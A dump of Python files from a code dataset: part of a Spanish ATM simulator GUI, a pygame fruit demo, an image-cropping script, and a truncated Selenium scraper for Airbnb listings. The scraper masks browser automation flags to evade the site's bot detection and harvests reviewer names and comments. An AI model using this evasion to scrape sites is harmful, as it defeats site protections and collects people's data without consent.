used_codes.append(code.data.decode('utf-8'))\n time.sleep(5)\n camera=False\n elif code.data.decode('utf-8') in used_codes:\n messagebox.showerror(message=\"La camara ya esta activada\",title=\"Error!\")\n time.sleep(5)\n else:\n pass\n cv2.imshow(\"IngresoTarjeta\",frame)\n cv2.waitKey(1)\n cap.release()\n cv2.destroyWindow(\"IngresoTarjeta\")\n\ndef loadQR():\n getCardInfo()\n framesManager(ingresoTarjetaContraseña)\n ingresoTarjetaContraseñaTx.focus_set()\n#botones\nmenuPrincipalBtIngresarTarjeta= Button(menuPrincipal, padx=25,border=0, pady=15, bg=\"#DD5222\",command = lambda: loadQR())\nmenuPrincipalBtIngresarTarjeta.place(x=15,y=435)\n\n#Comando para la validación del entry(que sean 4 digitos y que sean numeros)\ndef validate_entryC(text, new_text):\n # Primero chequear que el contenido total no exceda los diez caracteres.\n if len(new_text) > 10:\n return False\n # Luego, si la validación anterior no falló, chequear que el texto solo\n # contenga números.\n return text.isdecimal()\n\n#MenuingresarTarjeta---------------------------------------------------------\ningresarTarjetafondo=Label(ingresarTarjeta, image=bgIngresarTarjeta)\ningresarTarjetafondo.place(x=0,y=0)\n\nIngresoTarjetaCodigoTx = Entry(ingresarTarjeta, width=6,font=(\"Helvetica\",24),border=0)\nIngresoTarjetaCodigoTx.place(x=630,y=204)\nIngresoTarjetaCodigoTx.focus_set()\nIngresoTarjetaCodigoTx.config(validate='key',validatecommand=(ventana.register(validate_entryC), \"%S\", \"%P\"))\n\n#botones ingresarTarjeta\ningresarTarjetaBtIngresar= Button(ingresarTarjeta, padx=25,border=0, pady=15, bg=\"#7ed957\",command = lambda: getCardInfo())\ningresarTarjetaBtIngresar.place(x=100,y=345)\n\ningresarTarjetaBtFinalizar= Button(ingresarTarjeta, padx=25,border=0, pady=15, bg=\"#e61717\",command = lambda: framesManager(menuPrincipal))\ningresarTarjetaBtFinalizar.place(x=100,y=445)\n\n#IngresoTarjetaContraseña---------------------------------------------------------------------------------\n\ningresoTarjetaContraseñafondo=Label(ingresoTarjetaContraseña, image=fondoIngresoTarjetaContraseña)\ningresoTarjetaContraseñafondo.place(x=0,y=0)\n\ningresoTarjetaContraseñaLb=Label(ingresoTarjetaContraseña,image=contraseñaIcon,border=0)\ningresoTarjetaContraseñaLb.place(x=510,y=200)\n\ningresoContraseñaErrorLb1=Label(ingresoTarjetaContraseña,text=\"\",width=50,font=fuenteLetra,border=0, foreground=\"red\", background=\"white\")\ningresoContraseñaErrorLb1.place(x=320,y=100)\n\ningresoContraseñaErrorLb2=Label(ingresoTarjetaContraseña,text=\"\",width=70,font=fuenteLetra,border=0, foreground=\"red\", background=\"white\")\ningresoContraseñaErrorLb2.place(x=200,y=100)\n\n#Comando para la validación del entry(que sean 4 digitos y que sean numeros)\ndef validate_entry(text, new_text):\n # Primero chequear que el contenido total no exceda los diez caracteres.\n if len(new_text) > 4:\n return False\n # Luego, si la validación anterior no falló, chequear que el texto solo\n # contenga números.\n return text.isdecimal()\n\n#Entry para el ingreso de la contraseña\ningresoTarjetaContraseñaTx = Entry(ingresoTarjetaContraseña, show=\"*\",width=6,font=(\"Helvetica\",24),border=0)\ningresoTarjetaContraseñaTx.place(x=630,y=204)\ningresoTarjetaContraseñaTx.config(validate='key',validatecommand=(ventana.register(validate_entry), \"%S\", \"%P\"))\n\ndef login(ingresoTarjetaContraseñaTx,cardInfoList=None):\n passCount=c.getPasswordTries(cardInfoList)\n if c.cardIsBlocked(cardInfoList):\n retrieveErrorMessage(ingresoContraseñaErrorLb1,\"TARJETA BLOQUEADA\")\n #messagebox.showerror(message=\"Tarjeta Bloqueada\")\n ingresoTarjetaContraseñaTx.delete(\"0\",\"end\")\n framesManager(menuPrincipal)\n else:\n if passCount==0:\n c.updatePasswordTries(cardInfoList)\n retrieveErrorMessage(ingresoContraseñaErrorLb2,\"SE AGOTARON SUS INTENTOS DE INICIO DE SESION, TARJETA BLOQUEADA\")\n #messagebox.showerror(message=\"Se agotaron sus intentos de inicio de sesion, Tarjeta Bloqueada\")\n ingresoTarjetaContraseñaTx.delete(\"0\",\"end\")\n framesManager(menuPrincipal)\n else:\n if c.passwordValidation(cardInfoList,ingresoTarjetaContraseñaTx.get()):\n ingresoTarjetaContraseñaTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n else:\n passCount-=1\n retrieveErrorMessage(ingresoContraseñaErrorLb2,\"CONTRASEÑA ERRADA LE QUEDAN {0} INTENTOS\".format(passCount))\n #messagebox.showerror(message=\"contraseña errada le quedan {0} intentos\".format(passCount))\n ingresoTarjetaContraseñaTx.delete(\"0\",\"end\")\n c.updatePasswordTries(cardInfoList)\n\n#botones IngresoTarjeta\nIngresoTarjetaBtIngresar= Button(ingresoTarjetaContraseña, padx=25,border=0, pady=15, bg=\"#7ed957\",command = lambda:login(ingresoTarjetaContraseñaTx,cardInfoList))\nIngresoTarjetaBtIngresar.place(x=100,y=345)\n\nIngresoTarjetaBtFinalizar= Button(ingresoTarjetaContraseña, padx=25,border=0, pady=15, bg=\"#e61717\",command = lambda: clearText(menuPrincipal,ingresoTarjetaContraseñaTx))\nIngresoTarjetaBtFinalizar.place(x=100,y=445)\n\n#CambioContraseña\n\ncambioContraseñafondo= Label(cambioContraseña, image=bgCambioConstraseña)\ncambioContraseñafondo.place(x=0,y=0)\ncambioContraseñafondoErrorLb=Label(cambioContraseña,text=\"\",width=50,font=fuenteLetra,border=0, foreground=\"red\", background=\"white\")\ncambioContraseñafondoErrorLb.place(x=410,y=100)\n\n#Comando para la validación del entry(que sean 4 digitos y que sean numeros)\ndef validate_entryCambio(text, new_text):\n # Primero chequear que el contenido total no exceda los diez caracteres.\n if len(new_text) > 4:\n return False\n # Luego, si la validación anterior no falló, chequear que el texto solo\n # contenga números.\n return text.isdecimal()\n\ndef loadCambioContraseñaR():\n global password\n password=cambioContraseñaTx.get()\n framesManager(cambioContraseñaR)\n cambioContraseñaRTx.focus_set()\n cambioContraseñaTx.delete(\"0\",\"end\")\n\n#Entry para el cambio de la contraseña\ncambioContraseñaTx = Entry(cambioContraseña, show=\"*\",width=6,font=(\"Helvetica\",24),border=0)\ncambioContraseñaTx.place(x=590,y=220)\ncambioContraseñaTx.config(validate='key',validatecommand=(ventana.register(validate_entryCambio), \"%S\", \"%P\"))\n\n#botones CambioContraseña\ncambioContraseñaBtIngresar= Button(cambioContraseña, padx=25,border=0, pady=15, bg=\"#7ed957\",command=lambda: loadCambioContraseñaR())\ncambioContraseñaBtIngresar.place(x=100,y=345)\n\ncambioContraseñaBtFinalizar= Button(cambioContraseña, padx=25,border=0, pady=15, bg=\"#e61717\",command=lambda: clearText(menuPrincipal,cambioContraseñaTx))\ncambioContraseñaBtFinalizar.place(x=100,y=445)\n\n#CambioContraseñaR\n\ncambioContraseñaRfondo= Label(cambioContraseñaR, image=bgCambioConstraseñaR)\ncambioContraseñaRfondo.place(x=0,y=0)\ncambioContraseñaRfondoErrorLb=Label(cambioContraseñaR,text=\"\",width=100,font=fuenteLetra,border=0, foreground=\"red\", background=\"white\")\ncambioContraseñaRfondoErrorLb.place(x=410,y=100)\n\n#Comando para la validación del entry(que sean 4 digitos y que sean numeros)\ndef validate_entryCambio(text, new_text):\n # Primero chequear que el contenido total no exceda los diez caracteres.\n if len(new_text) > 4:\n return False\n # Luego, si la validación anterior no falló, chequear que el texto solo\n # contenga números.\n return text.isdecimal()\n\ndef changePassword(cambioContraseñaTx,cambioContraseñaRTx,cardInfoList):\n if cambioContraseñaTx==cambioContraseñaRTx:\n if c.updatePassword(cardInfoList,cambioContraseñaRTx):\n retrieveErrorMessage(cambioContraseñaRfondoErrorLb,\"LA CONSTRASEÑA FUE ACTUALIZADA EXITOSAMENTE\")\n #messagebox.showinfo(message=\"La contraseña fue actualizada exitosamente\")\n cambioContraseñaTx.delete(\"0\",\"end\")\n cambioContraseñaRTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n else:\n retrieveErrorMessage(cambioContraseñaRfondoErrorLb,\"LAS CONSTRASEÑAS NO COINCIDEN, INGRESELA DE NUEVO\")\n #messagebox.showerror(message=\"Las contraseñas no coinciden, ingresela de nuevo\")\n cambioContraseñaTx.delete(\"0\",\"end\")\n cambioContraseñaRTx.delete(\"0\",\"end\")\n framesManager(cambioContraseña)\n\n#Entry para el cambio de la contraseña\ncambioContraseñaRTx = Entry(cambioContraseñaR, show=\"*\",width=6,font=(\"Helvetica\",24),border=0)\ncambioContraseñaRTx.place(x=590,y=220)\ncambioContraseñaRTx.config(validate='key',validatecommand=(ventana.register(validate_entryCambio), \"%S\", \"%P\"))\n\n#botones CambioContraseña\ncambioContraseñaRBtIngresar= Button(cambioContraseñaR, padx=25,border=0, pady=15, bg=\"#7ed957\",command=lambda: changePassword(password,cambioContraseñaRTx.get(),cardInfoList))\ncambioContraseñaRBtIngresar.place(x=100,y=345)\n\ncambioContraseñaRBtFinalizar= Button(cambioContraseñaR, padx=25,border=0, pady=15, bg=\"#e61717\",command=lambda: clearText(menuPrincipal,cambioContraseñaRTx))\ncambioContraseñaRBtFinalizar.place(x=100,y=445)\n\n#MenuTransaccion--------------------------------------------------------------------------\n\nmenuTransaccionfondo=Label(menuTransaccion, image=bgMenuTransaccion)\nmenuTransaccionfondo.place(x=0,y=0)\n\ndef loadBalance(cardInfoList):\n retrieveAccountBalance(cardInfoList,nuevoSaldoLbSaldo)\n framesManager(nuevoSaldo)\n\ndef retrieveAccountBalance(cardInfoList,labelText):\n currentBalance=str(c.getAccountBalance(cardInfoList))\n labelText.config(text=currentBalance)\n\ndef retrieveErrorMessage(labelText,message):\n labelText.config(text=message)\n time.sleep(5)\n\ndef loadCambioContraseña():\n framesManager(cambioContraseña)\n cambioContraseñaTx.focus_set()\n\n#botones MenuTransaccion\nmenuTransaccionBtRetirarDinero= Button(menuTransaccion, padx=25, pady=15,border=0, bg=\"#DD5222\",command = lambda: framesManager(retirarDinero))\nmenuTransaccionBtRetirarDinero.place(x=25,y=150)\n\nmenuTransaccionBtConsultaSaldo= Button(menuTransaccion, padx=25, pady=15,border=0, bg=\"#DD5222\",command = lambda: loadBalance(cardInfoList))\nmenuTransaccionBtConsultaSaldo.place(x=25,y=285)\n\nmenuTransaccionBtSalir= Button(menuTransaccion, padx=25, pady=15,border=0, bg=\"#DD5222\",command = lambda: framesManager(menuPrincipal))\nmenuTransaccionBtSalir.place(x=25,y=420)\n\nmenuTransaccionBtTransferencias= Button(menuTransaccion, padx=25, pady=15,border=0, bg=\"#DD5222\",command = lambda: framesManager(transferenciasOp))\nmenuTransaccionBtTransferencias.place(x=1170,y=150)\n\nmenuTransaccionBtCambioContraseña= Button(menuTransaccion, padx=25, pady=15,border=0, bg=\"#DD5222\",command = lambda: loadCambioContraseña())\nmenuTransaccionBtCambioContraseña.place(x=1170,y=285)\n\n#Retirar Dinero-----------------------------------------------------------------------------------------------\nretirarDinerofondo=Label(retirarDinero, image=bgRetiroDinero)\nretirarDinerofondo.place(x=0,y=0)\n\n#Comando de validacion\n\ndef validate_entryR(text, new_text):\n # Primero chequear que el contenido total no exceda los diez caracteres.\n if len(new_text) > 7:\n return False\n # Luego, si la validación anterior no falló, chequear que el texto solo\n # contenga números.\n return text.isdecimal()\n\n#Comando para la validación del entry(que sean >10000 digitos y que sean numeros)\ndef validate_entryRetiro(text):\n if int(text) < 2700000 and int(text) %5==0:\n return True\n else:\n print(\"Su numero ingresado no es correcto intente de nuevo\")\n#Funcion para realizar el retiro del dinero dada el id de la cuenta y la cantidad a retirar\n\ndef loadWithdrawalMessage(amount,cardInfoList):\n withdrawalCount=c.getWithdrawalCount(cardInfoList)\n if amount < 10000:\n retrieveErrorMessage(otroMontoErrorLb,\"EL NUMERO NO ES VALIDO INTENTE DE NUEVO\")\n #messagebox.showerror(message=\"Error: El numero no es valido intente de nuevo\")\n otroMontoTx.delete(\"0\",\"end\")\n else:\n if c.accountIsBlocked(cardInfoList):\n messagebox.showerror(message=\"Error: Ya supero el maximo de retiros diarios, retornado al menu transacciones\")\n otroMontoTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n else:\n if withdrawalCount==0:\n c.updateWithdrawalCount(cardInfoList)\n otroMontoTx.delete(\"0\",\"end\")\n else:\n if c.withdrawal(amount,cardInfoList):\n messagebox.showinfo(message=\"¡Transaccion Exitosa! no olvide retirar su dinero\")\n c.updateWithdrawalCount(cardInfoList)\n otroMontoTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n else:\n messagebox.showerror(message=\"Error: Saldo Insuficiente, retornado al menu transacciones\")\n otroMontoTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n\ndef loadOtroMonto():\n framesManager(otroMonto)\n otroMontoTx.focus_set()\n\n#botones RetirarDinero\nbt_Pagina_Retiros_10000= Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command=lambda:loadWithdrawalMessage(10000,cardInfoList))\nbt_Pagina_Retiros_10000.place(x=25,y=75)\n\nbt_Pagina_Retiros_150000=Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command=lambda:loadWithdrawalMessage(150000,cardInfoList))\nbt_Pagina_Retiros_150000.place(x=1170,y=75)\n\nbt_Pagina_Retiros_20000=Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command=lambda:loadWithdrawalMessage(20000,cardInfoList))\nbt_Pagina_Retiros_20000.place(x=25,y=185)\n\nbt_Pagina_Retiros_250000=Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command=lambda:loadWithdrawalMessage(250000,cardInfoList))\nbt_Pagina_Retiros_250000.place(x=1170,y=185)\n\nbt_Pagina_Retiros_50000=Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command=lambda:loadWithdrawalMessage(50000,cardInfoList))\nbt_Pagina_Retiros_50000.place(x=25,y=300)\n\nbt_Pagina_Retiros_350000= Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command=lambda:loadWithdrawalMessage(350000,cardInfoList))\nbt_Pagina_Retiros_350000.place(x=1170,y=300)\n\nmenuTransaccionBtRetirarDineroOtroValor= Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\", command= loadOtroMonto)\nmenuTransaccionBtRetirarDineroOtroValor.place(x=1170,y=430)\n\nbt_Pagina_Retiros_Finalizar= Button(retirarDinero, padx=25, pady=15,border=0, bg=\"#DD5222\",command= lambda: framesManager(menuTransaccion))\nbt_Pagina_Retiros_Finalizar.place(x=25,y=430)\n\n#Otro Monto-------------------------------------------------------------------------------------------------\n\nbgOtroMontoLabel= Label(otroMonto, image=bgOtroMonto)\nbgOtroMontoLabel.place(x=0,y=0)\notroMontoErrorLb=Label(otroMonto,text=\"\",width=50,font=fuenteLetra,border=0, foreground=\"red\", background=\"white\")\notroMontoErrorLb.place(x=390,y=100)\n\notroMontoTx= Entry(otroMonto,width=10,font=(\"Helvetica\",24),border=0)\notroMontoTx.config(validate='key',validatecommand=(ventana.register(validate_entryR), \"%S\", \"%P\"))\notroMontoTx.place(x=557,y=225)\n\n#botones\notroMontoBtIngresar= Button(otroMonto, padx=25,border=0, pady=15, bg=\"#7ed957\", command= lambda: loadWithdrawalMessage(float(otroMontoTx.get()),cardInfoList))\notroMontoBtIngresar.place(x=100,y=345)\n\notroMontoBtMenuT= Button(otroMonto, padx=25,border=0, pady=15, bg=\"#e61717\",command = lambda: clearText(menuPrincipal,otroMontoTx))\notroMontoBtMenuT.place(x=100,y=445)\n\n#TransferenciasOp----------------------------------------------------------------------------------------------------\n\n#label\ntransferenciasOpFondo =Label(transferenciasOp, image=bgTransferenciasOp)\ntransferenciasOpFondo.place(x=0,y=0)\n\ndef loadNumeroDeCuenta():\n framesManager(transferenciaNumeroDeCuenta)\n transferenciaNumeroDeCuentaTx.focus_set()\n\ndef getCardToTransfer():\n capT=cv2.VideoCapture(0)\n capT.set(3,640)\n capT.set(4,480)\n used_codes=[]\n camera=True\n while camera:\n success,frame=capT.read()\n for code in decode(frame):\n if code.data.decode('utf-8') not in used_codes:\n cardInfo=code.data.decode('utf-8')\n global cardInfoTList\n cardInfoTList=cardInfo.split()\n used_codes.append(code.data.decode('utf-8'))\n time.sleep(5)\n camera=False\n elif code.data.decode('utf-8') in used_codes:\n messagebox.showerror(message=\"La camara ya esta activada\",title=\"Error!\")\n time.sleep(5)\n else:\n pass\n cv2.imshow(\"IngresoTarjetaTransaccion\",frame)\n cv2.waitKey(1)\n capT.release()\n cv2.destroyWindow(\"IngresoTarjetaTransaccion\")\n\ndef loadQRTransfer():\n getCardToTransfer()\n loadAccIdLbl(1)\n\ndef loadAccIdLbl(fromPage):\n framesManager(confirmacionCuenta)\n global idAccountTransfer\n if fromPage==0:\n idAccountTransfer=numeroCuenta\n confirmacionCuentaLabel.config(text=\"¿EL NUMERO DE CUENTA: {0} ES A QUIEN\\n DESEA HACER LA TRANSFERENCIA?\".format(numeroCuenta))\n else:\n idAccountTransfer=cardInfoTList[1]\n confirmacionCuentaLabel.config(text=\"¿EL NUMERO DE CUENTA: {0} ES A QUIEN\\n DESEA HACER LA TRANSFERENCIA?\".format(cardInfoTList[1]))\n#botones\ntransferenciasOpBtNumero= Button(transferenciasOp, padx=25,border=0, pady=15, bg=\"#DD5222\",command = lambda: loadNumeroDeCuenta())\ntransferenciasOpBtNumero.place(x=15,y=270)\n\ntransferenciasOpBtCodigo= Button(transferenciasOp, padx=25,border=0, pady=15, bg=\"#DD5222\",command = lambda:loadQRTransfer())\ntransferenciasOpBtCodigo.place(x=1175,y=270)\n\n#transferenciaNumeroDeCuenta--------------------------------------------------------------------------------------------\n\ntransferenciaNumeroDeCuentafondo=Label(transferenciaNumeroDeCuenta, image=bgTransferenciaNumeroDeCuenta)\ntransferenciaNumeroDeCuentafondo.place(x=0,y=0)\n\ntransferenciaNumeroDeCuentafondoLb=Label(transferenciaNumeroDeCuenta,image=contraseñaIcon,border=0)\ntransferenciaNumeroDeCuentafondoLb.place(x=510,y=200)\n\n#Verificacion\n\ndef validate_entryN(text, new_text):\n # Primero chequear que el contenido total no exceda los diez caracteres.\n if len(new_text) > 10:\n return False\n # Luego, si la validación anterior no falló, chequear que el texto solo\n # contenga números.\n return text.isdecimal()\n\ntransferenciaNumeroDeCuentaTx= Entry(transferenciaNumeroDeCuenta,width=10,font=(\"Helvetica\",24),border=0)\ntransferenciaNumeroDeCuentaTx.place(x=557,y=204)\ntransferenciaNumeroDeCuentaTx.config(validate='key',validatecommand=(ventana.register(validate_entryN), \"%S\", \"%P\"))\n\n#botones transferenciaNumeroDeCuenta\n\ntransferenciaNumeroDeCuentaBtIngresar= Button(transferenciaNumeroDeCuenta, padx=25,border=0, pady=15, bg=\"#7ed957\",command = lambda:getNumeroCuenta())\ntransferenciaNumeroDeCuentaBtIngresar.place(x=100,y=345)\n\ntransferenciaNumeroDeCuentaBtRegresar= Button(transferenciaNumeroDeCuenta, padx=25,border=0, pady=15, bg=\"#e61717\",command = lambda: framesManager(menuTransaccion))\ntransferenciaNumeroDeCuentaBtRegresar.place(x=100,y=445)\n\n#funcion transferencia\ndef getNumeroCuenta():\n global numeroCuenta\n numeroCuenta=transferenciaNumeroDeCuentaTx.get()\n loadAccIdLbl(0)\n\n#ConfirmaciónCuenta-------------------------------------------------------------------------------------------------------\n\n#label\nConfirmaciónCuentaFondo =Label(confirmacionCuenta, image=bgConfirmacionCuenta)\nConfirmaciónCuentaFondo.place(x=0,y=0)\n\nconfirmacionCuentaLabel=Label(confirmacionCuenta,text=\"\",width=70,font=fuenteLetra,border=0,background=\"white\")\nconfirmacionCuentaLabel.place(x=90,y=200)\n\n\n#botones\nConfirmaciónCuentaBtIngresar= Button(confirmacionCuenta, padx=25,border=0, pady=15, bg=\"#7ed957\",command = lambda: framesManager(ingresarMontoTransferencia))\nConfirmaciónCuentaBtIngresar.place(x=100,y=345)\n\nConfirmaciónCuentaBtRegresar= Button(confirmacionCuenta, padx=25,border=0, pady=15, bg=\"#e61717\",command = lambda: framesManager(transferenciasOp))\nConfirmaciónCuentaBtRegresar.place(x=100,y=445)\n\n\n#NuevoSaldo-----------------------------------------------------------------------------------------------------------------------------\n\nnuevoSaldofondo=Label(nuevoSaldo, image=bgNuevoSaldo)\nnuevoSaldofondo.place(x=0,y=0)\n\nnuevoSaldoLbSaldo=Label(nuevoSaldo,text=\"\",width=10,font=(\"Helvetica\",24),border=0,background=\"white\")\nnuevoSaldoLbSaldo.place(x=525,y=250)\n\n#Botones\n\nnuevoSaldoBtMenuT= Button(nuevoSaldo, padx=25,border=0, pady=15, bg=\"#DD5222\",command = lambda: framesManager(menuTransaccion))\nnuevoSaldoBtMenuT.place(x=100,y=355)\n\nnuevoSaldoBtCerrarSesion= Button(nuevoSaldo, padx=25,border=0, pady=15, bg=\"#DD5222\",command = lambda: framesManager(menuPrincipal))\nnuevoSaldoBtCerrarSesion.place(x=100,y=450)\n\n#Funcion transferencia\ndef loadTransferMessage(amount,cardInfoList,cardInfoTList):\n withdrawalCount=c.getWithdrawalCount(cardInfoList)\n if amount < 10000:\n retrieveErrorMessage(otroMontoErrorLb,\"EL NUMERO NO ES VALIDO INTENTE DE NUEVO\")\n #messagebox.showerror(message=\"Error: El numero no es valido intente de nuevo\")\n ingresarMontoTransferenciaTx.delete(\"0\",\"end\")\n else:\n if c.accountIsBlocked(cardInfoList):\n messagebox.showerror(message=\"Error: Ya supero el maximo de retiros diarios, retornado al menu transacciones\")\n ingresarMontoTransferenciaTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n else:\n if withdrawalCount==0:\n c.updateWithdrawalCount(cardInfoList)\n ingresarMontoTransferenciaTx.delete(\"0\",\"end\")\n else:\n if c.transfer(amount,cardInfoList,cardInfoTList):\n messagebox.showinfo(message=\"¡Transaccion Exitosa! no olvide retirar su dinero\")\n c.updateWithdrawalCount(cardInfoList)\n ingresarMontoTransferenciaTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n else:\n messagebox.showerror(message=\"Error: Saldo Insuficiente, retornado al menu transacciones\")\n ingresarMontoTransferenciaTx.delete(\"0\",\"end\")\n framesManager(menuTransaccion)\n\n#ingresarMontoTransaccion\ningresarMontoTransferenciaLabel= Label(ingresarMontoTransferencia, image=bgOtroMonto)\ningresarMontoTransferenciaLabel.place(x=0,y=0)\n\ningresarMontoTransferenciaTx= Entry(ingresarMontoTransferencia,width=10,font=(\"Helvetica\",24),border=0)\ningresarMontoTransferenciaTx.config(validate='key',validatecommand=(ventana.register(validate_entryR), \"%S\", \"%P\"))\ningresarMontoTransferenciaTx.place(x=557,y=225)\n\n#botones\ningresarMontoTransferenciaBtIngresar= Button(ingresarMontoTransferencia, padx=25,border=0, pady=15, bg=\"#7ed957\", command= lambda: loadTransferMessage(float(ingresarMontoTransferenciaTx.get()),cardInfoList,cardInfoTList))\ningresarMontoTransferenciaBtIngresar.place(x=100,y=345)\n\ningresarMontoTransferenciaBtMenuT= Button(ingresarMontoTransferencia, padx=25,border=0, pady=15, bg=\"#e61717\",command = lambda: clearText(menuTransaccion,ingresarMontoTransferenciaTx))\ningresarMontoTransferenciaBtMenuT.place(x=100,y=445)\n\nif __name__==\"__main__\":\n ventana.mainloop()\n","repo_name":"namh1012L/ATM_SOFTWARE","sub_path":"atm_gui.py","file_name":"atm_gui.py","file_ext":"py","file_size_in_byte":29858,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20379444163","text":"# Example 3\n\n# Import and initialize pygame\nfrom random import randint, choice\nimport pygame\npygame.init()\n\n# Get the clock\nclock = pygame.time.Clock()\n\n# Configure the screen\nscreen = pygame.display.set_mode([500, 500])\n\n# Game Object\nclass GameObject(pygame.sprite.Sprite):\n # Remove width and height and add image here!\n def __init__(self, x, y, image):\n super(GameObject, self).__init__()\n # self.surf = pygame.Surface((width, height)) REMOVE!\n # self.surf.fill((255, 0, 255)) REMOVE!\n self.surf = pygame.image.load(image) # ADD!\n self.x = x\n self.y = y\n\n def render(self, screen):\n screen.blit(self.surf, (self.x, self.y))\n\nclass Apple(GameObject):\n def __init__(self):\n super(Apple, self).__init__(0, 0, 'images/apple.png')\n self.dx = 0\n self.dy = (randint(0, 200) / 100) + 1\n self.reset() # call reset here! \n\n def move(self):\n self.x += self.dx\n self.y += self.dy\n # Check the y position of the apple\n if self.y > 500: \n self.reset()\n\n # add a new method\n def reset(self):\n self.x = choice([93, 218, 343])\n self.y = -64\n\nclass Strawberry(GameObject):\n def __init__(self):\n super(Strawberry, self).__init__(0, 0, 'images/stawberry.png')\n self.dy = 0\n self.dx = (randint(0, 200) / 100) + 1\n self.reset() # call reset here! \n\n def move(self):\n self.y += self.dy\n self.x += self.dx\n # Check the y position of the strawberry\n if self.x > 500: \n self.reset()\n\n # add a new method\n def reset(self):\n self.y = choice([93, 218, 343])\n self.x = -64\n\n\n# Make an instance of GameObject\napple = Apple()\nstrawberry = Strawberry()\n\n# Create the game loop\nrunning = True\nwhile running:\n # Looks at events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n \n # Clear screen\n screen.fill((255, 255, 255))\n \n # Draw apple\n apple.move()\n apple.render(screen)\n\n # Draw strawberry\n strawberry.move()\n strawberry.render(screen)\n \n \n # Update the window\n pygame.display.flip()\n # tick the clock!\n clock.tick(60)\n\n","repo_name":"mathyasp/pygame","sub_path":"examples_1-6/example3_game.py","file_name":"example3_game.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22915791432","text":"import os\nimport cv2\n\ndef crop_images(im_frames_path):\n print(\"[+] cropping image\")\n imgs=os.listdir(im_frames_path)\n for img in imgs:\n im_data=cv2.imread(im_frames_path+\"/\"+img)\n # im_data=im_data[0:1080,0:1080,:]\n im_data=im_data[0:512,0:512,:]\n cv2.imwrite(im_frames_path+\"/\"+img,im_data)\n \ncrop_images(\"data/frames\")\npath=\"/home/arash/Desktop/workdir/RoboRoyal/markerless_tracking_paper/markless_tracking_my_version/static/png\"\ncrop_images(path)\n","repo_name":"arash-sadeghi/roboroyale","sub_path":"crop_im.py","file_name":"crop_im.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1764302536","text":"import random\nimport csv,json\nfrom selenium import webdriver\nfrom selenium.webdriver import ChromeOptions\nfrom selenium.common import exceptions\nimport time\nfrom lxml import etree\n\n\nclass AirbnbSpider(object):\n\n def __init__(self):\n\n option = ChromeOptions()\n option.add_argument('--headless')\n option.add_experimental_option('excludeSwitches', ['enable-automation'])\n option.add_argument(\"--disable-blink-features=AutomationControlled\")\n self.bro = webdriver.Chrome(executable_path=\"./tools/chromedriver.exe\", options=option)\n self.bro.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\",\n {\"source\": \"\"\"Object.defineProperty(navigator, 'webdriver', \n {get: () => undefined})\"\"\"})\n self.bro.maximize_window()\n\n self.start_url = \"https://www.airbnb.cn/\"\n self.f = open(f\"./data/{self.__class__.__name__}.json\", 'w', encoding='utf-8')\n # self.csv_f = csv.writer(self.f)\n\n def search(self):\n self.bro.get(self.start_url)\n input_box = self.bro.find_element_by_xpath(\"//input[@id='Koan-via-HeroController__input']\")\n input_box.clear()\n input_box.send_keys(\"浙江省绍兴市\")\n but = self.bro.find_element_by_xpath(\"//button[@class='_1je6u3q']\")\n but.click()\n time.sleep(2)\n return self.bro.page_source\n\n def parse_html(self):\n for page_source in self.get_all_page():\n a_nodes = etree.HTML(page_source).xpath(\"//div[@class='_qlq27g']/a\")\n for a_node in a_nodes:\n item={}\n item[\"detail_url\"] = \"https://www.airbnb.cn\" + a_node.xpath(\".//@href\")[0]\n item[\"house_style\"] = \"\".join(map(lambda x: x.strip(), a_node.xpath(\".//div[@class='_wuffzwa']//text()\")))\n item[\"simple_describe\"] = a_node.xpath(\".//div[@class='_goi623']//text()\")[0]\n item[\"price\"] = \"\".join(map(lambda x:x.strip(), a_node.xpath(\".//div[@aria-label='listing_card_price_label']//text()\")))\n item[\"evaluation\"] = a_node.xpath(\"//span[@class='_1clmxfj']/text()\")[0]\n self.bro.get(item[\"detail_url\"])\n # item[\"html\"] = self.bro.page_source\n time.sleep(random.randint(5, 10))\n commons = []\n while True:\n try:\n but = self.bro.find_element_by_xpath(\"//li[@class='_ljpfeqr']/button\")\n a = self.bro.find_element_by_xpath(\"//li[@class='_ljpfeqr']/button/div[@class='_17012i']\")\n except exceptions.NoSuchElementException as e:\n a = None\n print(e)\n break\n if a:\n common_divs = self.bro.find_elements_by_xpath(\"//section/div[2]/div[5]/div\")[1:]\n for common_div in common_divs:\n reviewer = common_div.find_element_by_xpath(\".//div[@class='_w97dxc0']\").text\n public_time = common_div.find_element_by_xpath(\".//span[@class='_1xgl77cd']\").text\n content = common_div.find_element_by_xpath(\"./div/div[2]//div[@dir='ltr']\").text\n commons.append([reviewer, public_time, content])\n but.click()\n time.sleep(2)\n\n item[\"commons\"] = commons\n print(item)\n self.f.write(json.dumps(item, ensure_ascii=False)+\",\\n\")\n self.f.flush()\n # self.csv_f.writerow([item[\"detail_url\"],\n # item[\"house_style\"],\n # item[\"simple_describe\"],\n # item[\"price\"],\n # item[\"evaluation\"],\n # # item[\"html\"],\n # ])\n self.bro.back()\n time.sleep(random.randint(5, 10))\n\n def get_all_page(self):\n yield self.search()\n while True:\n try:\n next_page = self.bro.find_element_by_xpath(\"//div[@class='_99vlue']/nav//a[@aria-label='下一个']\")\n next_page.click()\n time.sleep(2)\n yield self.bro.page_source\n except exceptions.NoSuchElementException as e:\n 